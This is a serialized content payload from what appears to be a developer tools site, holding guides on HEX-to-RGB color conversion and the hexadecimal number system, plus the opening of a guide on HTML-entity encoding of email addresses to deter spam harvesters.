}\n",[143,114987,114988,115017],{"__ignoreMap":141},[1560,114989,114990,114993,114995,114997,114999,115001,115003,115005,115008,115011,115013,115015],{"class":1562,"line":1563},[1560,114991,114992],{"class":1566},".overlay-c",[1560,114994,1658],{"class":1570},[1560,114996,11362],{"class":1576},[1560,114998,1663],{"class":1570},[1560,115000,30141],{"class":1576},[1560,115002,1688],{"class":1570},[1560,115004,5285],{"class":1576},[1560,115006,115007],{"class":1576}," 119",[1560,115009,115010],{"class":1576}," 190",[1560,115012,14237],{"class":1570},[1560,115014,5687],{"class":1576},[1560,115016,1697],{"class":1570},[1560,115018,115019,115021,115023,115025,115027,115029,115031,115033,115035,115037,115039,115041,115043],{"class":1562,"line":337},[1560,115020,114992],{"class":1566},[1560,115022,1658],{"class":1570},[1560,115024,11362],{"class":1576},[1560,115026,1663],{"class":1570},[1560,115028,30141],{"class":1576},[1560,115030,1688],{"class":1570},[1560,115032,5285],{"class":1576},[1560,115034,115007],{"class":1576},[1560,115036,115010],{"class":1576},[1560,115038,14237],{"class":1570},[1560,115040,18059],{"class":1576},[1560,115042,17990],{"class":1669},[1560,115044,1697],{"class":1570},[16,115046,115047,115048,115050,115051,115053,115054,115057],{},"Browser support for ",[143,115049,5184],{}," is good across modern browsers but absent in older Internet Explorer. Use ",[143,115052,5140],{}," or the modern ",[143,115055,115056],{},"rgb() \u002F alpha"," syntax for maximum compatibility.",[11,115059,115061],{"id":115060},"choosing-between-hex-and-rgb-in-css","Choosing Between HEX and RGB in CSS",[16,115063,115064],{},"Both formats produce identical colors—the difference is readability and workflow.",[16,115066,115067],{},[47,115068,115069],{},"Use HEX when:",[41,115071,115072,115075,115078],{},[44,115073,115074],{},"You need compact, copy-paste-friendly values",[44,115076,115077],{},"Working in design tools that export HEX by default",[44,115079,115080],{},"Writing legacy code that must support old browsers",[16,115082,115083],{},[47,115084,115085],{},"Use RGB when:",[41,115087,115088,115095,115098],{},[44,115089,115090,115091,1531,115093,1525],{},"You need alpha transparency (",[143,115092,5140],{},[143,115094,115056],{},[44,115096,115097],{},"Generating colors programmatically in JavaScript",[44,115099,115100],{},"You want explicit channel clarity for team readability",[135,115102,115104],{"className":1607,"code":115103,"language":1609,"meta":141,"style":141},"\u002F\u002F Programmatic color generation is easier with RGB\nfunction lighten(r, g, b, amount) {\n  return `rgb(${Math.min(r + amount, 255)}, ${Math.min(g + amount, 255)}, ${Math.min(b + amount, 255)})`;\n}\n",[143,115105,115106,115111,115137,115212],{"__ignoreMap":141},[1560,115107,115108],{"class":1562,"line":1563},[1560,115109,115110],{"class":1649},"\u002F\u002F Programmatic color generation is easier with RGB\n",[1560,115112,115113,115115,115118,115120,115122,115124,115126,115128,115130,115132,115135],{"class":1562,"line":337},[1560,115114,8648],{"class":1669},[1560,115116,115117],{"class":1566}," lighten",[1560,115119,1688],{"class":1570},[1560,115121,23114],{"class":2219},[1560,115123,1459],{"class":1570},[1560,115125,22733],{"class":2219},[1560,115127,1459],{"class":1570},[1560,115129,28973],{"class":2219},[1560,115131,1459],{"class":1570},[1560,115133,115134],{"class":2219},"amount",[1560,115136,9345],{"class":1570},[1560,115138,115139,115141,115143,115145,115147,115149,115151,115153,115155,115158,115160,115162,115164,115166,115168,115170,115172,115174,115176,115178,115180,115182,115184,115186,115188,115190,115192,115194,115196,115198,115200,115202,115204,115206,115208,115210],{"class":1562,"line":343},[1560,115140,9350],{"class":1669},[1560,115142,28987],{"class":5634},[1560,115144,28990],{"class":1570},[1560,115146,468],{"class":5634},[1560,115148,28995],{"class":1566},[1560,115150,1688],{"class":5634},[1560,115152,23114],{"class":1570},[1560,115154,29002],{"class":1669},[1560,115156,115157],{"class":1570}," amount",[1560,115159,1459],{"class":5634},[1560,115161,5400],{"class":1576},[1560,115163,1525],{"class":5634},[1560,115165,29014],{"class":5634},[1560,115167,28990],{"class":1570},[1560,115169,468],{"class":5634},[1560,115171,28995],{"class":1566},[1560,115173,1688],{"class":5634},[1560,115175,22733],{"class":1570},[1560,115177,29002],{"class":1669},[1560,115179,115157],{"class":1570},[1560,115181,1459],{"class":5634},[1560,115183,5400],{"class":1576},[1560,115185,1525],{"class":5634},[1560,115187,29014],{"class":5634},[1560,115189,28990],{"class":1570},[1560,115191,468],{"class":5634},[1560,115193,28995],{"class":1566},[1560,115195,1688],{"class":5634},[1560,115197,28973],{"class":1570},[1560,115199,29002],{"class":1669},[1560,115201,115157],{"class":1570},[1560,115203,1459],{"class":5634},[1560,115205,5400],{"class":1576},[1560,115207,1525],{"class":5634},[1560,115209,29059],{"class":5634},[1560,115211,2228],{"class":1570},[1560,115213,115214],{"class":1562,"line":365},[1560,115215,1585],{"class":1570},[16,115217,115218,115219,115221],{},"For design systems and theming, consider HSL instead—it makes creating color scales far more intuitive. See our ",[98,115220,30653],{"href":30652}," guide for a deeper comparison.",[11,115223,1355],{"id":1354},[41,115225,115226,115229,115232,115238,115246,115249],{},[44,115227,115228],{},"HEX and RGB describe the same color data in different notations",[44,115230,115231],{},"Each HEX pair maps to one decimal channel value (0–255)",[44,115233,115234,115235,115237],{},"Three-digit HEX (",[143,115236,5133],{},") is shorthand—each digit is duplicated",[44,115239,115240,115241,115243,115244],{},"8-digit HEX (",[143,115242,5184],{},") adds alpha but has poorer legacy support than ",[143,115245,5140],{},[44,115247,115248],{},"Choose HEX for compactness, RGB for transparency and programmatic use",[44,115250,115251],{},"The conversion formula is simple: split HEX pairs, convert each from base-16 to base-10",[11,115253,286],{"id":285},[16,115255,115256,115257,115259],{},"Convert between HEX and RGB instantly with our free ",[98,115258,18588],{"href":18587}," tool. Paste any color code and get every format at once.",[11,115261,321],{"id":320},[41,115263,115264,115268,115272],{},[44,115265,115266],{},[98,115267,30006],{"href":30673},[44,115269,115270],{},[98,115271,30647],{"href":30456},[44,115273,115274],{},[98,115275,30653],{"href":30652},[2043,115277,115278],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}",{"title":141,"searchDepth":337,"depth":337,"links":115280},[115281,115282,115283,115284,115285,115286,115287,115288,115289,115290,115291],{"id":114311,"depth":337,"text":114312},{"id":114348,"depth":337,"text":114349},{"id":114441,"depth":337,"text":114442},{"id":114546,"depth":337,"text":114547},{"id":114686,"depth":337,"text":114687},{"id":114760,"depth":337,"text":114761},{"id":114857,"depth":337,"text":114858},{"id":115060,"depth":337,"text":115061},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Learn how HEX and RGB color codes work, master the conversion algorithm, and choose the right format for your CSS projects.",{"immutable":363},{"title":30642,"description":115292},"guides\u002Fhex-to-rgb-guide","VgR7GmMcdCdA186A0LbGa1kWKfjdwtffgcDEz_ikfpw",{"id":115298,"title":14983,"body":115299,"date":2070,"description":116005,"extension":361,"meta":116006,"navigation":363,"path":10553,"readingTime":1710,"seo":116007,"stem":116008,"__hash__":116009},"guides\u002Fguides\u002Fhexadecimal-guide.md",{"type":8,"value":115300,"toc":115981},[115301,115305,115308,115387,115390,115396,115414,115418,115421,115427,115441,115444,115448,115452,115455,115498,115501,115525,115529,115532,115541,115547,115551,115559,115565,115572,115576,115579,115664,115668,115672,115675,115785,115791,115795,115798,115804,115807,115833,115837,115840,115846,115848,115850,115863,115867,115880,115884,115895,115899,115909,115928,115930,115955,115957,115966,115968,115979],[11,115302,115304],{"id":115303},"what-is-hexadecimal","What Is Hexadecimal?",[16,115306,115307],{},"Hexadecimal (hex) is a base-16 number system. It uses sixteen distinct symbols: the digits 0 through 9 and the letters A through F. The letters represent decimal values 10 through 15.",[193,115309,115310,115349],{},[196,115311,115312],{},[199,115313,115314,115317,115319,115321,115323,115325,115327,115329,115331,115333,115335,115337,115339,115341,115343,115345,115347],{},[202,115315,115316],{},"Hex Digit",[202,115318,5285],{},[202,115320,3585],{},[202,115322,10099],{},[202,115324,17821],{},[202,115326,12546],{},[202,115328,13431],{},[202,115330,44593],{},[202,115332,735],{},[202,115334,10078],{},[202,115336,114357],{},[202,115338,21981],{},[202,115340,21978],{},[202,115342,21993],{},[202,115344,22007],{},[202,115346,22654],{},[202,115348,22657],{},[211,115350,115351],{},[199,115352,115353,115355,115357,115359,115361,115363,115365,115367,115369,115371,115373,115375,115377,115379,115381,115383,115385],{},[216,115354,5271],{},[216,115356,5285],{},[216,115358,3585],{},[216,115360,10099],{},[216,115362,17821],{},[216,115364,12546],{},[216,115366,13431],{},[216,115368,44593],{},[216,115370,735],{},[216,115372,10078],{},[216,115374,114357],{},[216,115376,36197],{},[216,115378,103090],{},[216,115380,13566],{},[216,115382,13525],{},[216,115384,12520],{},[216,115386,14854],{},[16,115388,115389],{},"Each position in a hex number represents a power of 16. For example:",[135,115391,115394],{"className":115392,"code":115393,"language":140},[138],"2A3 = 2 × 16² + 10 × 16¹ + 3 × 16⁰\n    = 512 + 160 + 3\n    = 675 (decimal)\n",[143,115395,115393],{"__ignoreMap":141},[16,115397,115398,115399,115402,115403,115406,115407,115409,115410,115413],{},"Programmers write hex values with a ",[143,115400,115401],{},"0x"," prefix in most languages (",[143,115404,115405],{},"0xFF",") or a ",[143,115408,6852],{}," prefix in CSS (",[143,115411,115412],{},"#FF5733","). These prefixes tell the reader and the compiler that the number is base-16, not base-10.",[11,115415,115417],{"id":115416},"why-hexadecimal","Why Hexadecimal?",[16,115419,115420],{},"Hex exists for one reason: it makes binary readable. One hex digit maps exactly to four binary digits (bits). This means a byte — 8 bits — always becomes exactly two hex digits.",[135,115422,115425],{"className":115423,"code":115424,"language":140},[138],"Binary: 1111 1010\nHex:      F    A\nResult: 0xFA\n",[143,115426,115424],{"__ignoreMap":141},[16,115428,115429,115430,115433,115434,115437,115438,468],{},"Compare that to the decimal equivalent: 250 tells you nothing about which bits are set. The hex value ",[143,115431,115432],{},"FA"," shows you immediately that the high nibble is ",[143,115435,115436],{},"1111"," and the low nibble is ",[143,115439,115440],{},"1010",[16,115442,115443],{},"This one-to-four mapping is why hex won out over octal (base-8) in modern computing. Octal groups bits in threes, which doesn't align cleanly with 8-bit, 16-bit, or 32-bit boundaries. Hex aligns perfectly with all of them.",[11,115445,115447],{"id":115446},"hex-in-everyday-programming","Hex in Everyday Programming",[33,115449,115451],{"id":115450},"css-color-values","CSS Color Values",[16,115453,115454],{},"Every web developer encounters hex daily through CSS colors. A six-digit hex color specifies red, green, and blue channels, each ranging from 00 to FF (0 to 255).",[135,115456,115458],{"className":1554,"code":115457,"language":1556,"meta":141,"style":141},".hot-pink  { color: #FF69B4; }  \u002F* R=255, G=105, B=180 *\u002F\n.deep-blue { color: #003366; }  \u002F* R=0,   G=51,  B=102  *\u002F\n",[143,115459,115460,115479],{"__ignoreMap":141},[1560,115461,115462,115465,115467,115469,115471,115474,115476],{"class":1562,"line":1563},[1560,115463,115464],{"class":1566},".hot-pink",[1560,115466,36449],{"class":1570},[1560,115468,12607],{"class":1576},[1560,115470,1663],{"class":1570},[1560,115472,115473],{"class":1576},"#FF69B4",[1560,115475,30359],{"class":1570},[1560,115477,115478],{"class":1649},"\u002F* R=255, G=105, B=180 *\u002F\n",[1560,115480,115481,115484,115486,115488,115490,115493,115495],{"class":1562,"line":337},[1560,115482,115483],{"class":1566},".deep-blue",[1560,115485,1658],{"class":1570},[1560,115487,12607],{"class":1576},[1560,115489,1663],{"class":1570},[1560,115491,115492],{"class":1576},"#003366",[1560,115494,30359],{"class":1570},[1560,115496,115497],{"class":1649},"\u002F* R=0,   G=51,  B=102  *\u002F\n",[16,115499,115500],{},"Modern CSS also supports 8-digit hex with an alpha channel:",[135,115502,115504],{"className":1554,"code":115503,"language":1556,"meta":141,"style":141},".semi-transparent { color: #FF573380; }  \u002F* 50% opacity *\u002F\n",[143,115505,115506],{"__ignoreMap":141},[1560,115507,115508,115511,115513,115515,115517,115520,115522],{"class":1562,"line":1563},[1560,115509,115510],{"class":1566},".semi-transparent",[1560,115512,1658],{"class":1570},[1560,115514,12607],{"class":1576},[1560,115516,1663],{"class":1570},[1560,115518,115519],{"class":1576},"#FF573380",[1560,115521,30359],{"class":1570},[1560,115523,115524],{"class":1649},"\u002F* 50% opacity *\u002F\n",[33,115526,115528],{"id":115527},"memory-addresses-and-debugging","Memory Addresses and Debugging",[16,115530,115531],{},"When you print a pointer in C, C++, or Rust, the output is hex. Debuggers display memory addresses in hex. Profilers annotate stack traces with hex offsets.",[135,115533,115535],{"className":13941,"code":115534,"language":13943,"meta":141,"style":141},"printf(\"%p\", &variable);  \u002F\u002F Output: 0x7ffd4a3b2c10\n",[143,115536,115537],{"__ignoreMap":141},[1560,115538,115539],{"class":1562,"line":1563},[1560,115540,115534],{},[16,115542,115543,115544,115546],{},"Hex makes these addresses scannable. You can quickly spot alignment (addresses ending in ",[143,115545,5285],{}," are 16-byte aligned) and page boundaries (addresses where multiple high bits change).",[33,115548,115550],{"id":115549},"byte-representation","Byte Representation",[16,115552,115553,115554,1459,115556,115558],{},"When you inspect raw data — network packets, file headers, binary protocols — you see hex dumps. Tools like ",[143,115555,13820],{},[143,115557,13823],{},", and Wireshark display bytes as hex pairs.",[135,115560,115563],{"className":115561,"code":115562,"language":140},[138],"00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............\n00000010: 0200 3e00 0100 0000 0040 0000 0000 0000  ..>......@......\n",[143,115564,115562],{"__ignoreMap":141},[16,115566,115567,115568,115571],{},"Each pair of hex characters is one byte. If you can read hex, you can spot magic numbers (",[143,115569,115570],{},"7f 45 4c 46"," = ELF header), string literals, and structure layouts.",[33,115573,115575],{"id":115574},"bitmasks-and-flags","Bitmasks and Flags",[16,115577,115578],{},"Hex is the standard way to write bitmasks. Each hex digit controls exactly four bits.",[135,115580,115582],{"className":1607,"code":115581,"language":1609,"meta":141,"style":141},"const READ    = 0x4;  \u002F\u002F 0100\nconst WRITE   = 0x2;  \u002F\u002F 0010\nconst EXECUTE = 0x1;  \u002F\u002F 0001\n\nconst FULL_ACCESS = READ | WRITE | EXECUTE;  \u002F\u002F 0x7 (0111)\n",[143,115583,115584,115602,115619,115636,115640],{"__ignoreMap":141},[1560,115585,115586,115588,115591,115594,115597,115599],{"class":1562,"line":1563},[1560,115587,8180],{"class":1669},[1560,115589,115590],{"class":1576}," READ",[1560,115592,115593],{"class":1669},"    =",[1560,115595,115596],{"class":1576}," 0x4",[1560,115598,3409],{"class":1570},[1560,115600,115601],{"class":1649},"\u002F\u002F 0100\n",[1560,115603,115604,115606,115609,115611,115614,115616],{"class":1562,"line":337},[1560,115605,8180],{"class":1669},[1560,115607,115608],{"class":1576}," WRITE",[1560,115610,99160],{"class":1669},[1560,115612,115613],{"class":1576}," 0x2",[1560,115615,3409],{"class":1570},[1560,115617,115618],{"class":1649},"\u002F\u002F 0010\n",[1560,115620,115621,115623,115626,115628,115631,115633],{"class":1562,"line":343},[1560,115622,8180],{"class":1669},[1560,115624,115625],{"class":1576}," EXECUTE",[1560,115627,8186],{"class":1669},[1560,115629,115630],{"class":1576}," 0x1",[1560,115632,3409],{"class":1570},[1560,115634,115635],{"class":1649},"\u002F\u002F 0001\n",[1560,115637,115638],{"class":1562,"line":365},[1560,115639,1702],{"emptyLinePlaceholder":363},[1560,115641,115642,115644,115647,115649,115651,115653,115655,115657,115659,115661],{"class":1562,"line":889},[1560,115643,8180],{"class":1669},[1560,115645,115646],{"class":1576}," FULL_ACCESS",[1560,115648,8186],{"class":1669},[1560,115650,115590],{"class":1576},[1560,115652,17408],{"class":1669},[1560,115654,115608],{"class":1576},[1560,115656,17408],{"class":1669},[1560,115658,115625],{"class":1576},[1560,115660,3409],{"class":1570},[1560,115662,115663],{"class":1649},"\u002F\u002F 0x7 (0111)\n",[11,115665,115667],{"id":115666},"conversion-techniques","Conversion Techniques",[33,115669,115671],{"id":115670},"hex-to-binary-and-back","Hex to Binary (and Back)",[16,115673,115674],{},"The fastest conversion: replace each hex digit with its 4-bit binary equivalent. Memorize this table and you'll never need a calculator.",[193,115676,115677,115690],{},[196,115678,115679],{},[199,115680,115681,115683,115686,115688],{},[202,115682,4031],{},[202,115684,115685],{},"Binary",[202,115687,4031],{},[202,115689,115685],{},[211,115691,115692,115703,115715,115726,115738,115750,115762,115774],{},[199,115693,115694,115696,115699,115701],{},[216,115695,5285],{},[216,115697,115698],{},"0000",[216,115700,10078],{},[216,115702,80124],{},[199,115704,115705,115707,115710,115712],{},[216,115706,3585],{},[216,115708,115709],{},"0001",[216,115711,114357],{},[216,115713,115714],{},"1001",[199,115716,115717,115719,115722,115724],{},[216,115718,10099],{},[216,115720,115721],{},"0010",[216,115723,21981],{},[216,115725,115440],{},[199,115727,115728,115730,115733,115735],{},[216,115729,17821],{},[216,115731,115732],{},"0011",[216,115734,21978],{},[216,115736,115737],{},"1011",[199,115739,115740,115742,115745,115747],{},[216,115741,12546],{},[216,115743,115744],{},"0100",[216,115746,21993],{},[216,115748,115749],{},"1100",[199,115751,115752,115754,115757,115759],{},[216,115753,13431],{},[216,115755,115756],{},"0101",[216,115758,22007],{},[216,115760,115761],{},"1101",[199,115763,115764,115766,115769,115771],{},[216,115765,44593],{},[216,115767,115768],{},"0110",[216,115770,22654],{},[216,115772,115773],{},"1110",[199,115775,115776,115778,115781,115783],{},[216,115777,735],{},[216,115779,115780],{},"0111",[216,115782,22657],{},[216,115784,115436],{},[135,115786,115789],{"className":115787,"code":115788,"language":140},[138],"Hex:    3    C    F\nBinary: 0011 1100 1111\n",[143,115790,115788],{"__ignoreMap":141},[33,115792,115794],{"id":115793},"hex-to-decimal","Hex to Decimal",[16,115796,115797],{},"Multiply each digit by its place value and add:",[135,115799,115802],{"className":115800,"code":115801,"language":140},[138],"0xB2 = 11 × 16¹ + 2 × 16⁰ = 176 + 2 = 178\n",[143,115803,115801],{"__ignoreMap":141},[16,115805,115806],{},"For quick mental math, remember these landmarks:",[41,115808,115809,115815,115821,115827],{},[44,115810,115811,115814],{},[143,115812,115813],{},"0x10"," = 16",[44,115816,115817,115820],{},[143,115818,115819],{},"0x100"," = 256 (one byte)",[44,115822,115823,115826],{},[143,115824,115825],{},"0x1000"," = 4,096",[44,115828,115829,115832],{},[143,115830,115831],{},"0xFFFF"," = 65,535 (max 16-bit unsigned)",[33,115834,115836],{"id":115835},"decimal-to-hex","Decimal to Hex",[16,115838,115839],{},"Divide by 16 repeatedly, collecting remainders:",[135,115841,115844],{"className":115842,"code":115843,"language":140},[138],"Decimal 43958 → Hex:\n43958 ÷ 16 = 2747 remainder 6\n2747  ÷ 16 = 171  remainder 11 (B)\n171   ÷ 16 = 10   remainder 11 (B)\n10    ÷ 16 = 0    remainder 10 (A)\nResult: 0xAB B6\n",[143,115845,115843],{"__ignoreMap":141},[11,115847,10393],{"id":10392},[33,115849,10397],{"id":10396},[16,115851,115852,115853,1856,115855,115858,115859,1459,115861,9368],{},"Hex digits A–F can be uppercase or lowercase. ",[143,115854,115405],{},[143,115856,115857],{},"0xff"," are identical. But some systems (particularly CSS) are case-sensitive in other ways, so pick a convention and stick with it. Most style guides prefer uppercase (",[143,115860,115405],{},[143,115862,115412],{},[33,115864,115866],{"id":115865},"leading-zeros-matter","Leading Zeros Matter",[16,115868,115869,115870,1856,115873,115876,115877,115879],{},"In hex, ",[143,115871,115872],{},"0x1",[143,115874,115875],{},"0x01"," are the same number, but they imply different things. ",[143,115878,115875],{}," suggests a full byte (8 bits). When working with byte-level data, always pad to the correct width: one byte = two hex digits.",[33,115881,115883],{"id":115882},"confusing-hex-with-decimal","Confusing Hex with Decimal",[16,115885,115886,115887,115889,115890,1531,115892,115894],{},"The number ",[143,115888,36197],{}," means ten in decimal but sixteen in hex. Always check the prefix. A missing ",[143,115891,115401],{},[143,115893,6852],{}," can cause silent bugs, especially in configuration files.",[33,115896,115898],{"id":115897},"javascript-octal-trap","JavaScript Octal Trap",[16,115900,115901,115902,115905,115906,115908],{},"In JavaScript, a leading zero on an integer literal used to mean octal in sloppy mode. While modern JS uses ",[143,115903,115904],{},"0o"," for octal and ",[143,115907,115401],{}," for hex, legacy code may still surprise you. Always use explicit prefixes.",[135,115910,115912],{"className":1607,"code":115911,"language":1609,"meta":141,"style":141},"0x10  \u002F\u002F 16 (hex) — intended\n010   \u002F\u002F 8  (octal) — likely a mistake\n",[143,115913,115914,115921],{"__ignoreMap":141},[1560,115915,115916,115918],{"class":1562,"line":1563},[1560,115917,115813],{"class":1576},[1560,115919,115920],{"class":1649},"  \u002F\u002F 16 (hex) — intended\n",[1560,115922,115923,115925],{"class":1562,"line":337},[1560,115924,14099],{"class":1576},[1560,115926,115927],{"class":1649},"   \u002F\u002F 8  (octal) — likely a mistake\n",[11,115929,1355],{"id":1354},[41,115931,115932,115935,115938,115941,115944,115952],{},[44,115933,115934],{},"Hexadecimal is base-16, using digits 0–9 and A–F",[44,115936,115937],{},"One hex digit equals exactly four binary digits — this is why hex replaced octal",[44,115939,115940],{},"You encounter hex in CSS colors, memory addresses, debug output, and byte dumps",[44,115942,115943],{},"The hex-to-binary table (16 entries) is worth memorizing for daily programming",[44,115945,115946,115947,1531,115949,115951],{},"Always use explicit prefixes (",[143,115948,115401],{},[143,115950,6852],{},") to avoid confusion with decimal",[44,115953,115954],{},"Pad hex values to the correct byte width to prevent subtle bugs",[11,115956,286],{"id":285},[16,115958,115959,115960,115962,115963,115965],{},"Convert between hex, binary, octal, and decimal using our free ",[98,115961,10569],{"href":10568},". Working with CSS colors? Check the ",[98,115964,18588],{"href":18587}," to translate hex colors to RGB and HSL.",[11,115967,321],{"id":320},[41,115969,115970,115974],{},[44,115971,115972],{},[98,115973,14978],{"href":10547},[44,115975,115976],{},[98,115977,115978],{"href":10559},"The Binary Number System: How Computers Think in Zeros and Ones",[2043,115980,59545],{},{"title":141,"searchDepth":337,"depth":337,"links":115982},[115983,115984,115985,115991,115996,116002,116003,116004],{"id":115303,"depth":337,"text":115304},{"id":115416,"depth":337,"text":115417},{"id":115446,"depth":337,"text":115447,"children":115986},[115987,115988,115989,115990],{"id":115450,"depth":343,"text":115451},{"id":115527,"depth":343,"text":115528},{"id":115549,"depth":343,"text":115550},{"id":115574,"depth":343,"text":115575},{"id":115666,"depth":337,"text":115667,"children":115992},[115993,115994,115995],{"id":115670,"depth":343,"text":115671},{"id":115793,"depth":343,"text":115794},{"id":115835,"depth":343,"text":115836},{"id":10392,"depth":337,"text":10393,"children":115997},[115998,115999,116000,116001],{"id":10396,"depth":343,"text":10397},{"id":115865,"depth":343,"text":115866},{"id":115882,"depth":343,"text":115883},{"id":115897,"depth":343,"text":115898},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"A practical guide to the hexadecimal number system — how it works, where it appears in programming, and conversion methods.",{"immutable":363},{"title":14983,"description":116005},"guides\u002Fhexadecimal-guide","Zjfr8kFLk-cOne0RcPsIh_0vy-ok_zcwZyy3_u-nFRo",{"id":116011,"title":116012,"body":116013,"date":2070,"description":116508,"extension":361,"meta":116509,"navigation":363,"path":116510,"readingTime":1710,"seo":116511,"stem":116512,"__hash__":116513},"guides\u002Fguides\u002Fhtml-encode-email-addresses.md","HTML Encoding Email Addresses",{"type":8,"value":116014,"toc":116502},[116015,116018,116022,116032,116035,116050,116053,116056,116060,116063,116070,116236,116255,116261,116265,116268,116274,116396,116402,116470,116476,116479,116482,116485,116488,116491,116499],[16,116016,116017],{},"Publishing an email address on a public webpage is an open invitation to spam. Automated crawlers—often called email harvesters—scan millions of pages daily, extracting mailto links and plain-text addresses to add to spam databases. HTML entity encoding offers a lightweight obfuscation technique that makes addresses harder for bots to read while keeping them functional for human visitors.",[11,116019,116021],{"id":116020},"how-email-harvesters-work","How Email Harvesters Work",[16,116023,116024,116025,5185,116028,116031],{},"Spam bots crawl the web using patterns similar to search engine spiders but with a different purpose. They look for strings matching the email format (",[143,116026,116027],{},"local@domain.tld",[143,116029,116030],{},"mailto:"," hyperlinks. Most harvesters operate at scale, processing thousands of pages per minute with minimal computational overhead per address.",[16,116033,116034],{},"Basic harvesters use regular expressions to find email-like patterns in raw HTML:",[135,116036,116038],{"className":8259,"code":116037,"language":8261,"meta":141,"style":141},"import re\nemail_pattern = re.compile(r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}')\n",[143,116039,116040,116045],{"__ignoreMap":141},[1560,116041,116042],{"class":1562,"line":1563},[1560,116043,116044],{},"import re\n",[1560,116046,116047],{"class":1562,"line":337},[1560,116048,116049],{},"email_pattern = re.compile(r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}')\n",[16,116051,116052],{},"More sophisticated crawlers render JavaScript and decode entities before scanning. However, many harvesters skip entity decoding to save processing time, given that decoding every page's HTML entities across billions of URLs is computationally expensive.",[16,116054,116055],{},"This asymmetry—bots skipping decoding for speed while browsers always decode for display—is the foundation of entity-based obfuscation.",[11,116057,116059],{"id":116058},"encoding-email-addresses-with-html-entities","Encoding Email Addresses with HTML Entities",[16,116061,116062],{},"The technique replaces characters in the email address with their numeric or named HTML entity equivalents. The browser decodes these entities before displaying the address or handling the mailto link, so users see and click the correct email.",[16,116064,116065,116066,116069],{},"For the address ",[143,116067,116068],{},"hello@example.com",", encoded versions might look like:",[135,116071,116073],{"className":6417,"code":116072,"language":6419,"meta":141,"style":141},"\u003C!-- Named entities -->\n\u003Ca href=\"mailto:hello&#64;example&#46;com\">hello&#64;example&#46;com\u003C\u002Fa>\n\n\u003C!-- Decimal numeric entities -->\n\u003Ca href=\"&#109;&#97;&#105;&#108;&#116;&#111;&#58;hello&#64;example&#46;com\">\n  hello&#64;example&#46;com\n\u003C\u002Fa>\n\n\u003C!-- Hexadecimal numeric entities -->\n\u003Ca href=\"&#x6D;&#x61;&#x69;&#x6C;&#x74;&#x6F;&#x3A;hello&#x40;example&#x2E;com\">\n  hello&#x40;example&#x2E;com\n\u003C\u002Fa>\n",[143,116074,116075,116080,116120,116124,116129,116156,116170,116178,116182,116187,116216,116228],{"__ignoreMap":141},[1560,116076,116077],{"class":1562,"line":1563},[1560,116078,116079],{"class":1649},"\u003C!-- Named entities -->\n",[1560,116081,116082,116084,116086,116088,116090,116093,116096,116098,116101,116104,116107,116109,116111,116113,116116,116118],{"class":1562,"line":337},[1560,116083,6431],{"class":1570},[1560,116085,98],{"class":2484},[1560,116087,41004],{"class":1566},[1560,116089,7297],{"class":1570},[1560,116091,116092],{"class":5634},"\"mailto:hello",[1560,116094,116095],{"class":1576},"&#64;",[1560,116097,132],{"class":5634},[1560,116099,116100],{"class":1576},"&#46;",[1560,116102,116103],{"class":5634},"com\"",[1560,116105,116106],{"class":1570},">hello",[1560,116108,116095],{"class":1576},[1560,116110,132],{"class":1570},[1560,116112,116100],{"class":1576},[1560,116114,116115],{"class":1570},"com\u003C\u002F",[1560,116117,98],{"class":2484},[1560,116119,6441],{"class":1570},[1560,116121,116122],{"class":1562,"line":343},[1560,116123,1702],{"emptyLinePlaceholder":363},[1560,116125,116126],{"class":1562,"line":365},[1560,116127,116128],{"class":1649},"\u003C!-- Decimal numeric entities -->\n",[1560,116130,116131,116133,116135,116137,116139,116141,116144,116146,116148,116150,116152,116154],{"class":1562,"line":889},[1560,116132,6431],{"class":1570},[1560,116134,98],{"class":2484},[1560,116136,41004],{"class":1566},[1560,116138,7297],{"class":1570},[1560,116140,8721],{"class":5634},[1560,116142,116143],{"class":1576},"&#109;&#97;&#105;&#108;&#116;&#111;&#58;",[1560,116145,22064],{"class":5634},[1560,116147,116095],{"class":1576},[1560,116149,132],{"class":5634},[1560,116151,116100],{"class":1576},[1560,116153,116103],{"class":5634},[1560,116155,6441],{"class":1570},[1560,116157,116158,116161,116163,116165,116167],{"class":1562,"line":1710},[1560,116159,116160],{"class":1570},"  hello",[1560,116162,116095],{"class":1576},[1560,116164,132],{"class":1570},[1560,116166,116100],{"class":1576},[1560,116168,116169],{"class":1570},"com\n",[1560,116171,116172,116174,116176],{"class":1562,"line":1717},[1560,116173,11242],{"class":1570},[1560,116175,98],{"class":2484},[1560,116177,6441],{"class":1570},[1560,116179,116180],{"class":1562,"line":1747},[1560,116181,1702],{"emptyLinePlaceholder":363},[1560,116183,116184],{"class":1562,"line":2507},[1560,116185,116186],{"class":1649},"\u003C!-- Hexadecimal numeric entities 